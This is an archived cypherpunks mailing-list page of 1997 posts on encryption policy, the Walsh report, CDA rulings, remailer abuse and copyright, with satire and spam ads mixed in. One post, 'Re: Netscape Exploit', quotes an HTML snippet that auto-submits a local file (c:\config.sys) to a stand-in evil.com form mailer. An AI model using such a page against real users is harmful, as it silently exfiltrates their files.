December 2003 - cypherpunks-legacy

Re: Australian "Walsh" report exposes the hole in key escrow
by lcs Mixmaster Remailer 17 Dec '03

17 Dec '03

John Davidson wrote: > The US National Institute of Standards and Technology recently made a > worldwide plea for cryptography algorithms that can be used for > authentication and not for encryption. And, of course, cannot be used to authenticate encryption keys. Oh, but they're just binary data, aren't they? So those Evil Terrorists(tm) will simply use their magic authentication-only keys to authenticate their secret un-surrendered encryption keys and they're off. SignatureMonger

1 0

The Walsh Report
by John Young 17 Dec '03

17 Dec '03

Thanks to Anonymous (V) we offer the full Walsh report for the Australian government on encryption policy which critiques the validity of key escrow, as described in the news report posted by John Gilmore yesterday. It's a big one, 280K so we offer three versions: 1. Full report: http://jya.com/walsh-all.htm (280K) 2. Full report Zipped: http://jya.com/walsh-all.zip (93K) 3. Separate files for TOC and foreword, 6 chapters and annex: http://jya.com/walsh-rep.htm

1 0

Marc Andreessen on encryption and CDA
by Declan McCullagh 17 Dec '03

17 Dec '03

Marc Andreessen from Netscape spoke at a National Press Club luncheon on June 20. Attached is an excerpt from a transcript of his remarks. -Declan --- NATIONAL PRESS CLUB LUNCHEON MARC ANDREESSEN, NETSCAPE FRIDAY, JUNE 20, 1997 [...] The goal here in all these markets should be open access -- open access for any new competitor who wants to offer content and services, who wants to offer hardware and software, who wants to offer bandwidth for the Net itself. And then open access should also allow each consumer and business to choose and buy from any set of vendors it wants. Now, I am not suggesting anything radical -- no major new laws or sweeping regulations, but simply that we must ensure we have vigorous enforcement first of existing antitrust laws and vigorous promotion of normal healthy competitive markets in these areas -- network services, software and hardware, content and consumer services. Once we have that, then we need to make sure we just don't screw it up. For example -- just one example -- patently ridiculous limitations on the ability of American companies to both produce and use encryption software and hardware internationally. Encryption technology now is freely available to criminals and terrorists all around the world, overseas, on the Web. You can buy it from NTT, you can buy it from companies out of South Africa, England, and many other countries. And we are really at this point deluding ourselves with respect to our ability to control this technology. The genie is clearly already out of the bottle. However, current regulations, current arms traffic regulations that apply to this technology and the new McCain-Kerry bill that just was introduced a couple of days ago -- the real effect there is that they are ceding the international data security market to non-U.S. vendors. They are really stunting now the development of the Net as a commercial medium, and they are leaving American companies fundamentally unprotected from economic espionage and terrorism abroad. One final example, imposing censorship laws in this new consumer content medium that are more stringent and restrictive than those on newspaper and television. [...] ------------------------- Declan McCullagh Time Inc. The Netly News Network Washington Correspondent http://netlynews.com/

2 1

Supreme Court summarily affirms Shea v. Reno CDA case
by Declan McCullagh 17 Dec '03

17 Dec '03

Dealing the final blow to the Communications Decency Act, the Supreme Court last Friday again ruled the law was unconstitutional. In a one-line order, the justices summarily affirmed the ruling of a New York federal district court that struck down the law last July. Joe Shea filed the lawsuit in February 1996 on behalf of his online publication, the American Reporter. Since the court did not write an opinion, however, the Shea v. Reno case does not have the same hefty precedential value as the ACLU v. Reno lawsuit brought by the American Civil Liberties Union and American Library Association plaintiffs. "Since in practice ACLU v. Reno is the law of the land, that preempts any binding force that Shea v. Reno might have," says UCLA law professor Eugene Volokh. Shea challenged only part of the CDA and didn't win as broad a victory at the trial court level as the ACLU and ALA coalitions did. Still, Shea is celebrating. "What it really means to me is that other countries aren't going to get the support they hoped for when they start or continue to suppress the Internet," he says. "The Net is going to be an important vehicle for new democracies around the world. People are going to voice on the Internet what they can't voice on radio or TV. Governments are going to find it harder to regulate because the U.S. Supreme Court stood behind the First Amendment in both of these cases." Shea filed the case with the pro bono help of Arent Fox, Kintner Plotkin & Kahn, a Washington law firm. Shea recently signed a partnership with nando.net, which now will publish the American Reporter online. It'll go live in July at http://american-reporter.com -Declan More info: http://www.eff.org/pub/Legal/Cases/Am_Reporter_v_DoJ/ http://www.newshare.com/Reporter/3097/3097-6.html http://www.newshare.com/Reporter/3097/3097-8.html ------------------------- Declan McCullagh Time Inc. The Netly News Network Washington Correspondent http://netlynews.com/

1 0

Has your privacy been invaded? Protected? Both?
by Declan McCullagh 17 Dec '03

17 Dec '03

We hear a lot of steamy rhetoric about privacy and the information age, but few real-world examples. I'm working on a story now for Time about just this: what's happening to individual privacy today. Does the Net make us more exposed -- DejaNews and 411-type databases -- or does it provide us with more privacy through tools like anonymous remailers and pseudonymous identities? Can we trust the government to protect our privacy when it works tirelessly to invade it? Much has been written about this. What I'm looking for now are examples. Have you used an anonymous remailer to cloak your identity, or been flamed through one? Have you been denied a transaction at a store because you refused to identify yourself? Have you hunted through databases to find someone important? Has sensitive information about you turned up in one? I'd appreciate hearing some stories... Thanks all, Declan ------------------------- Declan McCullagh Time Inc. The Netly News Network Washington Correspondent http://netlynews.com/

1 0

Legal Adult Content
by email＠exoticwhispers.com 17 Dec '03

17 Dec '03

The following message is intended for Adult Webmasters Only. If you feel you have received this message in error, please click "reply" then type REMOVE in the subject line. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Hello Webmasters, Looking for LEGAL STRAIGHT & GAY PICS & VIDEOS ? Porn Emporium has what you are looking for. We offer only the highest quality pics and videos of some of the worlds hottest stars. All content comes with the necessary model releases, all 100% LEGAL! Both exclusive and non-exclusive contracts are available with our pics & videos, each at a very affordable price. If you are looking for something special, send us an email and I'm sure we can find what you are looking for. All of our pics come with a 100% Satisfaction Guarantee and a lifetime license. You can see a sample of our pics at http://www.pornemporium.com .. Can you afford NOT to be legal. **** Special Offer **** UAS Members receive a 10% discount !!! Thank You, Scott Prendergast scottp(a)tiba.net 214-827-2958

1 0

Re: details of 6/26 action on HR 695??
by John Young 17 Dec '03

17 Dec '03

Sorry 'bout that .txt typo for the SAFE report; it's HTM: http://jya.com/hr105-108.htm (94K)

1 0

Denning Paper
by John Young 17 Dec '03

17 Dec '03

Forward: Professor Dorothy Denning's paper, "Encryption and Evolving Technologies as Tools of Organized Crime and Terrorism," will be available in early July. Should you wish to purchase a copy please send a check or money order for $10.00 (includes shipping and handling) payable to the National Strategy Information Center, at the following address: 1730 Rhode Island Ave. NW, Suite 500, Washington, DC 20036. We will be happy to send you a copy once we receive your payment. Should you have any further questions please feel free to contact me. Sincerely, Marcia McGowan Working Group on Organized Crime National Strategy Information Center ---------------------------------------------------------------------------- Excerpt of the paper at: http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html

1 0

Dorothy and Not-Toto Do D.C.
by Dick Liquor 17 Dec '03

17 Dec '03

[Routers--July 1, 1997] CHEMICAL SPILL BY THE RIVER, U.S.A.: PRESIDENT Clinton, commenting on the British retreat from Hong Kong, told reporters, "The Chinese are a nuclear power, so the British had to 'put on a happy(~diplomatic) face' as the Chinese troops rolled in, no matter what the Chinese did at Kent State, Waco and Ruby Ridge." When his 'faux pas' was pointed out, Clinton laughed it off by saying, "Well, you know how it is...you kill a dissident and, an hour later, you want to kill again." A reporter who recently spent the night in the Lincoln bedroom saved the President further embarassment by changing the subject to the recent telivised debate on encryption between Dorothy Denning and Tim C. May, a grouchy old cypherpunk. Clinton seized the opportunity to play to the law and order crowd, responding, "That crazy bastard bit her fucking ear off! This kind of disgusting incident is exactly what our encryption policy is designed to address." When pressed to explain his statement, the President stated that if Mr. May had not been exposed to ear-biting pornography spread across the Internet with strong encryption, that children would not now be exposed to it in the televised news coverage of the May-Denning incident." When reporters asked about the Paula Jones incident, President Clinton replied, "I think she has me confused with Mike Tyson."

1 0

Re: Marc Andreessen on encryption and CDA
by geeman＠best.com 17 Dec '03

17 Dec '03

My biggest problem is when the pundits (and by extension, those that punt to them) frame this entire debate in terms of the Market. To do so is to argue that only solutions that are good for The Market are good solutions; that when a particular policy is market-agnostic or market-negative, even though it may be good policy for People (yes, remember them ???) it is irrelevant or bad. This debate is NOT about the Worldwide Encryption Market! At 05:02 PM 6/30/97 -0400, Declan McCullagh wrote: > >Marc Andreessen from Netscape spoke at a National Press Club luncheon on >June 20. Attached is an excerpt from a transcript of his remarks. > >-Declan > >--- > >NATIONAL PRESS CLUB LUNCHEON >MARC ANDREESSEN, NETSCAPE >FRIDAY, JUNE 20, 1997 > >[...] > >The goal here in all these markets should be open >access -- open access for any new competitor who wants >to offer content and services, who wants to offer >hardware and software, who wants to offer bandwidth >for the Net itself. And then open access should also >allow each consumer and business to choose and buy >from any set of vendors it wants. > >Now, I am not suggesting anything radical -- no major >new laws or sweeping regulations, but simply that we >must ensure we have vigorous enforcement first of >existing antitrust laws and vigorous promotion of >normal healthy competitive markets in these areas -- >network services, software and hardware, content and >consumer services. Once we have that, then we need to >make sure we just don't screw it up. For example -- >just one example -- patently ridiculous limitations on >the ability of American companies to both produce and >use encryption software and hardware internationally. >Encryption technology now is freely available to >criminals and terrorists all around the world, >overseas, on the Web. You can buy it from NTT, you can >buy it from companies out of South Africa, England, >and many other countries. And we are really at this >point deluding ourselves with respect to our ability >to control this technology. The genie is clearly >already out of the bottle. > >However, current regulations, current arms traffic >regulations that apply to this technology and the new >McCain-Kerry bill that just was introduced a couple of >days ago -- the real effect there is that they are >ceding the international data security market to >non-U.S. vendors. They are really stunting now the >development of the Net as a commercial medium, and >they are leaving American companies fundamentally >unprotected from economic espionage and terrorism >abroad. One final example, imposing censorship laws in >this new consumer content medium that are more >stringent and restrictive than those on newspaper and >television. > >[...] > > >------------------------- >Declan McCullagh >Time Inc. >The Netly News Network >Washington Correspondent >http://netlynews.com/ > > > >

3 3

Re: Dr. Dobbs Cryptography and Security CD-ROM
by pgut001＠cs.auckland.ac.nz 17 Dec '03

17 Dec '03

>Copyright laws will do nothing to prevent the text from being distributed. >All copyright laws will do is make you able to punish "offenders" after >the fact. They have no mystical value to "protect" anything, especially >digital medium, which is easy to copy. What makes this case especially awkward is the fact that the CDROM can't legally be sold outside the US, which means the only way the rest of the world can get it is through illegal copies. Given the immense usefulness of something like this, I'd say it's only a matter of time before bootleg copies start appearing outside the US, but because of the USG's position we can't pay for it even if we want to (DDJ wouldn't look too good if they accepted payment for what they knew was illegally exported crypto). Perhaps a donation of the same amount to charity would serve as some equivalent to payment... Peter.

3 2

Re: NRA and National Online Records Check bullshit
by Secret Squirrel 17 Dec '03

17 Dec '03

Citizen-Unit T.C. May wrote: >(Somehow most people think it's OK that convicted felons lose their rights >to vote and to have guns. (Once they're released, of course.) Do they think >convicted felons no longer have religious freedom? Can no longer write as >they wish? Jeesh.) Citizen-Unit May is coming dangerously close to thought-crime in this message. The politically correct phrasing is as follows: "Since convicted felons lose their rights to vote and to have guns, surely there is no reason why they shouldn't also lose their rights to free speech and religious freedom. We must protect the children from such dangers." This issue provides clear support for our long tradition of compromising with the government on important issues - had we taken a "no compromise" stand on felon's rights to vote and own guns then we would not now be able to use that as justification for restricting further rights, just as prior compromise on the First Amendment rights of "child pornographers" has given the government a neccesary stepping-stone for restricting freedom of speech of adult pornographers and other authorized enemies. CompromiseMonger

1 0

re:mailing list
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

When did it become acceptable to be so stupid??? How many systems-experts do you know who use AOL frequently. OOh...I forgot about that new section, PGP For Dummies...(chuckle) C

1 1

Turn Your Debts Into Real Wealth!!
by tcmarket＠toad.com 17 Dec '03

17 Dec '03

Hello,_Morons, TURN EVERY $1 OF YOUR DEBT INTO $11.83 OF REAL WEALTH! This program *** from a two-time Inc 500 company *** is sweeping the country, because it does the one thing every network marketer is working for. It gets them to debt-free (including their mortgage) financial independence in the shortest possible time. Isn't achieving financial independence the reason you became interested in network marketing in the first place? Then why not check out the network marketing program where the product itself can make you financially independent? For a FREE information package call the recorded message at (303) 830-3755 or (800) 211-7097

1 0

Novell's Eric Schmidt on rating systems
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Tue, 1 Jul 1997 07:27:11 -0700 (PDT) From: Declan McCullagh <declan(a)well.com> To: fight-censorship(a)vorlon.mit.edu Subject: Novell's Eric Schmidt on rating systems So I'm logged in from the library of the National Press Club (my membership dues are finally going for something useful), where I just came from a breakfast meeting with Eric Schmidt, the CEO of Novell. We talked Net-politics, from copyright to crypto to Net-taxes. But I also pressed him on the problems of PICS-based rating systems like RSACi, noting that other governments have started to make them mandatory -- in a voluntary sort of way. "In the U.S., we're going to have all sorts of folks saying we need to have a mandatory rating system for web content.. The industry has pushed very hard for individuals to control things, not governments," he said. What about PICS making it easier for other governments to censor the Net? "We are not the other government's keeper... The beauty of the PICS stuff is that it's a framework for having the debate," he said. Next stop: the White House, where I expect this will come up again this afternon... -Declan

1 0

Re: Marc Andreessen on encryption and CDA
by geeman＠best.com 17 Dec '03

17 Dec '03

I suppose that's why US displays the greatest income disparity between rich and poor of any of the industrialized nations? Why some 10 or 20 billionaires collectively own more wealth than some 20% of the world's population? Or were you being sarcastic? At 07:58 PM 6/30/97 -0700, Declan McCullagh wrote: >Ah, but what is a market except voluntary transactions between people? >What is good for the market is good for the people. > >-Declan > >On Mon, 30 Jun 1997 geeman(a)best.com wrote: > >> My biggest problem is when the pundits (and by extension, those that punt >> to them) >> frame this entire debate in terms of the Market. To do so is to argue that >> only solutions >> that are good for The Market are good solutions; that when a particular >> policy is market-agnostic >> or market-negative, even though it may be good policy for People (yes, >> remember them ???) it is irrelevant or >> bad. This debate is NOT about the Worldwide Encryption Market! >> > > >

2 1

Re: Has your privacy been invaded? Protected? Both?
by Dead Lucky 17 Dec '03

17 Dec '03

geeman(a)best.com wrote: > I have been fairly careful and very jealous of my privacy; and then my name > and home address showed up on one of the name-search pages. I don't know if > it's still there, and I don't remember the link. But then the Similac > marketing Geniuses sent me something in the mail that even included the due > date of my expected child! And the predicted date of the death of your child is January 19, 2015, according to the Dead Lucky Assassination Bot statistics. The good news is that there is only $1.48 bet on this eventuality, so the chances are slim that anyone is going to go out of their way to collect (unless you are such a bad father that your child turns out to be a total asshole). D. Lucky

1 0

Re: NRA and National Online Records Check bullshit
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Kent Crispin wrote: > However, the issue is very complex. "The system" has a number of > discretionary points -- variable sentencing regiems, time off for good > behaviour, probation, parole -- all involve different levels of > constraints on rights, all constitutional. No doubt the laws resulting in people going to jail for the rest of their life for a "third felony" (i.e. - a $10.00 bad check in Texas) are "constitutional." After the (black, go figure...) person was given a life sentence for a $10.00 bad check, someone quoted the standard justification, "It's not a _perfect_ system, but its the best one we've got." (Hint: It was not the defendant who said this.) The rapist/murderers that we hear about being released because of a lack of prison space wave cheery good-byes to their marihuana smoking and bad-check writing pals as they drive away from the prison. And the way this relates to encryption is... ...the rapist/murderers of the future might well be waving goodby to the cryptographers, as well, since they rarely use encryption, and thus might well have a shorter sentence than their crypto-devil cellmate. TruthMonger

1 0

Clinton's Laissez-Faire Policy
by Ross Wright 17 Dec '03

17 Dec '03

Tuesday July 1 6:28 PM EDT Clinton Unveils 'Hands Off' Internet Strategy WASHINGTON (Reuter) - Hailing the Internet as an engine for future economic growth, President Clinton Tuesday unveiled a largely laissez-faire policy to promote commerce in cyberspace unburdened by new government taxes. See More at: http://www.yahoo.com/headlines/970701/politics/stories/internet_6.html =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: (408) 259-2795

1 0

Crypto Law Survey updated
by Bert-Jaap Koops 17 Dec '03

17 Dec '03

I have just updated my survey of existing and envisaged cryptography laws and regulations. See the Crypto Law Survey at http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm This update includes: - update on Australia (Walsh report), Germany (Interior Ministry opinion), Sweden (IT commission report), US (government bill amended, Kerrey-McCain bill, SAFE act amended and passed House committees, czar travel FOIA request) - clarification on Singapore (import, domestic), Japan (government cannot choose) - URLs added to Belgium (law proposals), Canada (export), UK (cyber-rights report) Comments are as always welcomed. Kind regards, Bert-Jaap --------------------------------------------------------------------- Bert-Jaap Koops tel +31 13 466 8101 Center for Law, Administration and facs +31 13 466 8149 Informatization, Tilburg University e-mail E.J.Koops(a)kub.nl -------------------------------------------------- Postbus 90153 | This world's just mad enough to have been made | 5000 LE Tilburg | by the Being his beings into being prayed. | The Netherlands | (Howard Nemerov) | --------------------------------------------------------------------- http://cwis.kub.nl/~frw/people/koops/bertjaap.htm ---------------------------------------------------------------------

2 1

Jeff's Side of the Story.
by tcmay＠got.net 17 Dec '03

17 Dec '03

There's been an ongoing discussion of the Huge Cojones remailer situation on the related newsgroups. This has a lot of relevance to our issues, and this is one of the more illuminating articles. --Tim > From: toxic(a)hotwired.com (Jeff Burchell) > Newsgroups: alt.privacy.anon-server,alt.fan.steve-winter,alt.religion.scientology,alt.anonymous,misc.misc,alt.censorship,news.admin.censorship,alt.cypherpunks,comp.org.eff.talk,news.admin.net-abuse.misc > Subject: Jeff's Side of the Story. > Followup-To: alt.privacy.anon-server,alt.fan.steve-winter,alt.religion.scientology,alt.anonymous,misc.misc,alt.censorship,news.admin.censorship,comp.org.eff.talk,news.admin.net-abuse.misc > Date: 1 Jul 1997 20:02:22 GMT > Organization: Content, Inc ... > > Anonymous (nobody(a)REPLAY.COM) wrote: > > : > Only Jeff knows the whole story. > > Actually, not even I know the whole story. If I truely knew who it was > that was orchestrating this attack, it would have stopped, one way or > another. The problem is, I don't know all the players (I have some > suspicions, which I'll elaborate on further in a little bit) but I don't > _really_ know who did it, and I really don't know why (other than a "I > don't like remailers, I think I'll shut one down"). And I really don't > know the background or what precipitated this. > > : > But I have to ask. Could this > : > just be an" I'm sick of this shit, f**k it, I quit, who needs this > : > aggravation, I'll just pull the plug and go have a beer" reaction > : > to what really seems like a fairly small problem. > > It is not a small problem anymore when you're getting >200 complaint > messages a day, plus 5-10 phone calls to your employer (and your > employer's legal department). Fortunately, Wired is a very progressive > company, and supported my efforts to provide anonymity, but our lawyers > aren't paid to answer phone calls on my behalf. Running a remailer is > one thing... getting harassed at work is an entirely different matter, and > getting a THIRD PARTY harassed at work is yet another one. > > But yes, The ultimate "take this thing down" decision was one made > because I was sick of this bullshit. But you know what? I volunteer > my time, my computer equipment, and bandwidth that is given to me > as part of my salary. I do (well did) all of this because I believe > that anonymity is a right, and because I have the capabilities of > helping to provide anonymity to the masses. When the remailer was > self-sufficient (before the attacks started), it took maybe 10 minutes > of my time a day, and minimal resources on my machine. Afterwards, > even after I put in the auto-blocking feature (send a blank message > to a particular address and get your address blocked) and the > autoresponder on the remailer-admin account, I was still getting >100 > messages a day reporting abuse... almost all of it spam-bait related. > I receive no benefit from running the remailer (I don't even use it > myself), and when it becomes a fairly major hassle without any > rewards, the decision is not a hard one to make. > > And frankly, I already have enough to do, and get enough mail on a > daily basis (at last check it was hovering around 600 messages/day). > As soon as the remailer started taking up a lot of my time, it became > time to rethink why I was running it. The moment that the spam-baiter > started alerting people who had been baited, and telling them to > contact me, it became personal. And I don't have time to get into > personal pissing-contests. Yes, I took the easy way out, but that > was my choice to make. > > Anyone who doesn't run a remailer has very little right questioning my > choice, because you have no idea what precipitated it. Most people > reading this group have the capabilities of running a remailer (it only > takes a POP account and a Windows machine to run the Winsock remailer), > but very few of us actually do. Why is that? I've been running huge. > cajones for just under 2 years, and it averaged just over 3000 messages > a day, so my remailer was responsible for about 2 million anonymous > messages in its lifetime. I think I've done my part (at least for now), > it's time for someone else to do theirs. If we had 15 disposable remailers > that operated for 2-3 months each before moving/going away, we'd have > paths for millions more anonymous messages. And isn't that what we're > really trying to provide? > > : The first was doing questionable things, like installing content-based > : filtering in an attempt to placate the attacker. Giving in to the demands > > When I first put the filters in, I was entirely unaware of exactly what > the hell was going on. It seemed that someone had a bone to pick with > databasix, and was using the remailer to get databasix harassed by > third parties. So, Burnore's complaint seemed reasonable at the time, and > I tried to come up with a way to block spam-bait abuse, without blocking > anything else (like a reply to burnore in Usenet). > > See, if someone was doing to me what they appeared to be doing to Burnore, > I would be pissed. I figured placating him would be the best thing to > do. In hindsight, I was wrong, but at the time, it seemed like the correct > decision. (Also at the same time, the SPA threatened Wired with a > lawsuit because of The MailMasher, so things were a little tense between > me and the legal department already, I didn't need to make them any worse.) > > The final content-based-filter (there was an interim one) looked for the > following things: > > 1. Any address at databasix (Yes, at the request of Burnore) > 2. Any address from my destination block list > 3. More than 5 addresses in a row, one line each, without other content > in-between. > 4. Patterns of particular Usenet groups. > 5. Particular subject lines. > > If any THREE of these items were spotted, the message got thrown into a > reject bin. I periodically examined the reject bin, and can personally > attest that it didn't block ANYTHING that it wasn't intended to. (The > test posts reeked of spam-bait to me, and I believe were correctly > blocked) > > FWIW, the filters were removed about a week ago. > > Because the filters were looking for a specific form of ABUSE, and not > just doing basic pattern matches, I don't consider them to be "content > filters". I would think that just about anyone would agree that > posting lists of email addresses to mlm newsgroups would qualify > as abuse, and _should_ be blocked. Blocking of this nature does NOT > restrict free speech (or at least that is not the intentions of it), and > it would keep the remailer out of lawsuit territory. > > See, the big problem with lawsuits is not the fact that _I_ don't want > to be sued. The problem is that anyone with half a brain can determine > that Wired is somehow related to any remailer that I am running on their > bandwidth. Wired has deeper pockets than Mr. Burchell, so they are a > much better group to sue... and they are a lot more willing to give > in to a threat than I am. > > : What I *MIGHT* have done was to respond as follows: > : > : Your legal demands are unacceptable. I'd rather close the remailer than > : compromise its integrity to suit your whims. But understand this -- unless > : you withdraw your demands, I will not only close the remailer but also make > : damn sure all of its users know exactly who forced me to take this action! > > I did respond in a fashion much like this, about a week before the attacks > started coming. Mr. Burnore requested a copy of my (non-existant) logs. > I told him to get me something in writing, signed by his lawyer that > stipulated that the logs were confidential, and not to be revealed to > anyone outside of the lawyer's office. > > I received a letter from Belinda Bryan. She is not registered with the > State Bar of California, and is thus, not a California lawyer. I then > ignored the request, and forwarded the correspondence to the State > Attorney General's office (as impersonating a lawyer in CA is defined > as fraud with extenuating circumstances). They have been working with > me and the San Francisco DA's office. Look out DataBasix... I'm not done > with you yet. > > : The second mistake I perceive is not fully disclosing the circumstances that > : brought down Huge Cajones, and *NAMING NAMES*. That way, even if the remailer > : shuts down, other remailer operators will learn about the tactics employed > : against it, know *WHO* made the demands, etc. IOW, when you get an innocent > : sounding, polite complaint from xxxx(a)yyy.com alleging "abuse", here's the > : scenario that's likely to follow ... (It's not too late to make that > : disclosure, Jeff.) > > In fact, now is the time to. Making a disclosure like this while I > was still running the remailer would have probably been a bad move. > Now that the remailer is closed, I'll name the names that I've got. > > Beware... all of this is speculation, because huge.cajones was an > anonymous service, not even I can say with any authority that any > of the people named below had anything to do with the shutdown of > huge.cajones (or The MailMasher). However, there are a number of > coincidences of timing. > > I still don't know what the hell is going on with DataBasix, Wells Fargo > and Gary Burnore, but I suspect that someone used huge.cajones to say > something extremely unflattering about Burnore (from what I can tell, > he had it coming). Burnore then decided that he would make things > difficult for me. First, he wanted the user who had posted something > "inflammatory" about him revealed. When I told him that I couldn't > do that, he carried on about mail logs and identifying the host that > a message came from (the usual). I didn't explain to him that my > machine keeps logs, but not anything involving a *(a)cajones.com > address. He then requested the logs, which I denied (and told him > to get his lawyer to send a request...) > > I'll admit, after my second or third contact with Mr. Burnore, I > no longer was particularly civil with the guy. He's a kook, and > really didn't deserve my courtesy. > > Between the time he first contacted me, and the time I received the > letter from Belinda Bryan, is when the baiting of databasix addresses > began (slowly, with just a few posts). After a while, I received > requests from the other members of DataBasix (including William McLatchie > (sp) (aka wotan) who actually seems to be a remailer supporter (?)). > > It was at this point that I realized something was completely amiss. > I asked McLatchie to please tell me the story of DataBasix, and he > said that he was going to, but never did. Anyone who can tell me > the story is invited to do so. > > As a side note (and just because I am naming names). Peter Hartly > (hartley(a)hartley.on.ca) yesterday spam-baited me. Fortunately, > I've got good filters in place. > > As another side note, I've seen nothing to make me believe that Belinda > Bryan is even a real person. Anyone? > > : > Given the importance of what Jeff was doing, I hope that he > : > did all that he could, before declaring defeat. If that is the case, > : > I commend him for a job well done. If not, why? > > I can't claim to have done _everything_ that I could have done, but I > did certainly make an effort. I'm not willing to go to court to defend > a practice like spam-baiting (and given the current public-opinion situation > and impending anti-UCE legislation, this would be a terrible test-case). > > I am not new to threats of lawsuit, even ones that come from legitimate > lawyers. About 8 months previous, I was threatened repeatedly by the > legal wing of the "Church" of Scientology. I answered with a letter > from my lawyer that explained the policies of the remailer, and > threatened a harrassment lawsuit if the "Church" contacted me again asking > for information (that they now knew I didn't have) about a remailer user. > They complied, and went away (and haven't been too difficult with > other remailer operators lately). > > : Agreed. Otherwise, these "asshole(s)" are simply going to do it all over > : again against another remailer, eventually taking them all down one at a time. > Except that right now, new remailers are springing up. If we could get > three more online for every one shut down, it wouldn't much matter, would > it? I may very well end up running a mailer again in the future, but if > I do, it will probably be either a throwaway exit-man or a truely anonymous > middleman (i.e. nobody will actually know who is running it). It also > will probably be hosted outside of the United States (Floating in > international waters with a sat feed would be nice). > > : It's time for them to stand up and say "Next time you come for one of us > : he's > : not going quietly as the others have. You'll have to face ALL of us at once, > : instead." > > Aah, you imagine much more solidarity among remailer operators than actually > exists. It doesn't work that way. It would be nice if it did, but many of > us are running remailers on borrowed bandwidth (or have other "situations" > to be concerned about). Being the squeaky wheel is not always a good idea > for many of the operators (most of whom try to keep a low profile). > > The reality is, for all the good they do, remailers are tools that can > very easily be abused. And, as the internet gets more and more commonplace, > the average Joe and Joesphine, who don't have the strict Cyber-Libertarian > viewpoints that are shared by most of us old-timers, will start to wonder > just why anyone would want to run a service that allows anyone to speak their > mind without fear of reprisal. When you get people with more extreme > viewpoints (the ones who have a really legitimate need for anonymity) posting > all kinds of stuff to all kinds of places, it will get the attention of > Middle-America, which will then bring it to the attention of legislators. > Any time a legislator can say "This is a blow to Child Pornographers and > others who hide behind anonymity to commit crimes without fear of reprisal" > you can guarantee that the bill will pass. > > When that happens, we're in trouble. America is scared of computers, and > remailers are thought to be havens for the big 3 (Terrorists, Organized > Crime and Child Pornographers). Now that the spammers are involved > (spammers possibly being hated more than the big 3), most users are > exposed to anonymous remailers in negative ways (Imagine what you would > think if the first time you heard about the existance of remailers, it > was because someone had spam-baited you, and then told you about it). > > The right to anonymity in the US will be legislated away within 18 months, > partially because of spam. I do hope there's a _good_ test case waiting, > and someone willing to fight it to the end, but I have my doubts. Ultimately > the remailer network will be forced to move offshore, the way Crypto > development currently has. > > Don't like the News? Go out and make some of your own. > > -Jeff > > |o| |o| > |o| Jeff Burchell toxic(a)wired.com |o| > |o|- - - - - - - - - - - - - - - - - - - - - - - - - -|o| > |o| I am not speaking for anyone but myself. |o| > |o| |o| -- There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

6 9

Degaussing
by Secret Squirrel 17 Dec '03

17 Dec '03

Could someone please point me to a FAQ or somesuch about degaussing magnetic media? Thank you!

10 11

Re: Netscape Exploit
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

> >Here is a sample it isn't complete but you get the basic idea of what is > >going on > ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> > > > ><BODY onLoad="daForm.submit()"> > ><FORM > > NAME="daForm" > > ACTION="http://evil.com/cgi-bin/formmail.pl" > > METHOD=POST> > > > ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your > >Harddrive"> > ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar(a)evil.com"> > > > >and so on and so forth... So if someone was using Netscape to read mail, and I included a small bit of HTML like the above, I could snarf up files out of everywhere?

1 0

Re: Internet - Good & Bad [CNN]
by Secret Squirrel 17 Dec '03

17 Dec '03

Jim Choate wrote: > > Time NEW YORK (CNNfn) - New technologies for video transmission over > > the Internet, such as digital video discs (DVDs), represent remarkable The article lost credibility in the first sentence. Is that a record?

2 1

Re: Liberating the Bits
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Michael Stutz wrote: > On Tue, 1 Jul 1997, Tim May wrote: > > > Technology liberates the bits. > > Copyright law is not only useless on the net but inefficient; one need only > compare the performance of free, copylefted software versus proprietary, > closed software to see which is better. But now it is possible to apply the > same principle of copyleft to _all_ non-software information, too -- > including text, images and music. I have done this myself with novels and > albums of music, and have posted full instructions on how to apply this to > non-software information at <http://dsl.org/copyleft/>. Tim gave excellent information on how one can go about using technology to enjoy the fruits of other people's labour without contributing toward the survival of those producing the things he enjoys. (I, being more niggardly, will refuse to share a technique I developed for stealing money from a blind beggar's cup and candy from a child's Halloween bag.) Michael is right about technology and the InterNet now making it possible to circumvent the principle represented by copyright law. When I originally came up with the concept of BlackNet and anonymous remailers, I foresaw that my invention of Public Key Cryptography might help make it possible for ordinary people to reap the benefits of other peoples' ideas and hard work, without doing anything to contribute toward the survival of creative, productive people. Although a person *can* enjoy the product of other peoples' efforts without contributing toward the production of that product, the decision as to whether they *should* do so should not be taken lightly. I believe that we live in a predatorial universe and that everything we do involves some form of "eating" the life forms around us, whether we do so physically, emotionally, or mentally. Whether the process involves hunting what already exists, or growing new life forms by farming, our future quality of life will depend on the quality of resource management done by ourself and others. There is undoubtedly an increased cost for certain software, music albums, etc, because of the theft and coercion of the companies that dominate an industry (via bribes, collusion, political donations), but there is also a fixed cost that needs to be met for these products to continue existing and developing. There is also a minimum level of sustenance needed by those who produce the products we use, and if this is not met, then they cease producing those products. If you copy George Strait's albums without putting a few pennies in his pocket, it is not likely to inhibit his market enough to matter, but if you do the same with an album by a group who is living in a station-wagon between gigs, then you might find yourself wondering "What ever happened to 'Psychotic Losers'?" I bought Microsoft Word because I like the product and use it a lot. Other Microsoft programs that I use occassionally, I just grab a copy from someone else because it's not worth my while to pay big money for it and I don't want to waste my time and effort using a product which doesn't fit into their proprietary scheme. (I apply the same standards to stealing children's Halloween candy. I only steal from fat kids, and I don't take the whole bag. I want to make it worth their while to go 